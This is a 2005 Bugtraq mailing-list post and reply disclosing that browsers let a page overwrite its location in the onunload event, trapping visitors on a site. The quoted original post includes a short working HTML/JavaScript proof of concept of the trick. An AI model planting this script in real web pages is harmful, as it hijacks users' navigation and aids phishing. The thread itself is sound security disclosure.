Bugtraq mailing list archives

RE: unload event in ie/mozilla/opera

From: "David Gillett" <gillettdavid () fhda edu>
Date: Wed, 24 Aug 2005 13:56:27 -0700

  What's worse, some browsers interpret "close the browser" to trigger
the onunload() method, and that's just wrooong.

David Gillett

-----Original Message-----
From: Tobias Boonstoppel [mailto:boonstoppel () gmail com]
Sent: Tuesday, August 23, 2005 7:10 AM
To: bugtraq () securityfocus com
Subject: unload event in ie/mozilla/opera

in nearly all browsers* you can overwrite the window location in the
"onunload" event.

that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it. thats a paradies for
fishers, porn-site-hoster etc......

here the html/javascript code:

<html>
<head>
<script>
window.unlock = false;
window.onunload=function()
{
if(!window.unlock)
 window.location.href='unload.html';
}
document.onmousedown=function()
{
  window.unlock = true;
}
</script>
</head>
<body>
<a href="?link=1">Link 1</a><br>
<a href="?link=2">Link 2</a><br>
<a href="?link=3">Link 3</a><br>
<a href="?link=4">Link 4</a><br>
</body>
</html>

cheers
Tobias Boonstoppel

ps: * i testet it on firefox (linux / window) opera (linux) and
internet explorer.

Current thread:

unload event in ie/mozilla/opera Tobias Boonstoppel (Aug 24)
- RE: unload event in ie/mozilla/opera David Gillett (Aug 24)
  - Re: unload event in ie/mozilla/opera Drew Haven (Aug 25)
    - Re: unload event in ie/mozilla/opera Tobias Boonstoppel (Aug 25)
  - Re: unload event in ie/mozilla/opera Niels Bakker (Aug 25)
    - Re: unload event in ie/mozilla/opera Godwin Stewart (Aug 26)
    - Re: unload event in ie/mozilla/opera Michael Shigorin (Aug 26)
- Re: unload event in ie/mozilla/opera Stefan Kelm (Aug 25)
- <Possible follow-ups>
- RE: unload event in ie/mozilla/opera Early, Clint (Aug 25)
- Re: unload event in ie/mozilla/opera gegegz (Aug 29)